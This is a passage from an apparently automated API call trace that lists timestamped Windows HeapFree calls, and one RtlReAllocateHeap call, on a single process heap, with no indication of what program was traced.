out: hHeap=0x4b0000) returned 1 [0104.498] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.499] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.501] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.502] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.505] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.507] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.625] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.626] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.628] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.628] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.628] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.628] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.632] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.632] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec3e90 | out: hHeap=0x4b0000) returned 1 [0104.635] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.635] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.635] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.635] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.638] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.639] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.639] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.642] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.642] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.643] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.643] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.645] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.646] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.646] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.646] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.648] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.648] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.648] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.648] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.650] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.650] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.651] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.651] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.653] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.653] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.653] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.653] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0104.654] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0104.657] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0104.676] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0104.676] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0104.832] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0104.892] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0104.940] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0104.942] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f03e98 | out: hHeap=0x4b0000) returned 1 [0104.943] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.029] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0105.029] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.029] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.030] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.036] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0105.036] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0105.036] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.038] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0105.038] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0105.609] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0105.610] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.610] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.611] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0105.611] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.612] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0105.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.613] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0105.615] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0105.616] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.617] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.617] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0105.617] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0105.953] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0105.980] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0105.985] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0105.986] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0106.048] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.103] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.105] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.111] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.178] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.183] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.203] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f53eb8 | out: hHeap=0x4b0000) returned 1 [0106.203] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.213] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.228] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.248] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0106.248] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0106.249] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0106.252] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e51058 | out: hHeap=0x4b0000) returned 1 [0106.446] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e83e70 | out: hHeap=0x4b0000) returned 1 [0106.459] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0106.465] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0107.808] HeapFree (hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0) [0107.808] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0108.230] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f63ec0 | out: hHeap=0x4b0000) returned 1 [0108.231] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f43eb0 | out: hHeap=0x4b0000) returned 1 [0108.897] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0108.918] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0108.921] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0108.924] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f33ea8 | out: hHeap=0x4b0000) returned 1 [0108.925] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0108.930] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0108.933] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0108.939] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0111.792] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0112.218] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0112.273] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0112.276] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0112.277] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0112.327] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0112.327] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ea3e80 | out: hHeap=0x4b0000) returned 1 [0112.337] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0112.394] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0112.409] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0112.420] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0112.424] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0113.127] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0113.128] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0113.129] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0113.129] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0113.133] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f73eb0 | out: hHeap=0x4b0000) returned 1 [0113.151] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0113.158] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0113.162] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0113.165] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0113.618] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.028] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.041] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.051] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.055] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.058] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.061] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.065] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.068] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.072] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.075] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.078] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.080] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.082] RtlReAllocateHeap (Heap=0x4b0000, Flags=0x0, Ptr=0x3f33ea8, Size=0x80000) returned 0x41c0020 [0115.527] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.532] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.537] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0115.882] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0116.047] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0116.052] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0116.056] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0116.062] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0116.066] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0116.151] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0116.155] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0116.159] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0117.765] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0117.900] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0117.940] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0118.463] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0118.616] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.276] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.293] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.298] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.303] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.313] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.318] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.322] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.325] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.329] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.333] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.333] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0119.334] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0120.079] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f83eb8 | out: hHeap=0x4b0000) returned 1 [0120.108] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.114] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.117] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.123] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.126] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.134] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.137] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.143] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.146] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.152] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.155] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.160] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.163] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.172] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0120.175] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.444] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.454] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.458] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.464] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.469] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.474] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.477] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.483] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.491] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.494] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.503] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.504] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.511] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0121.515] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.158] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.161] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.167] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.172] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.179] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.182] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.189] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.193] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.201] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.204] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.211] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.214] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.219] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.226] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0122.227] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: 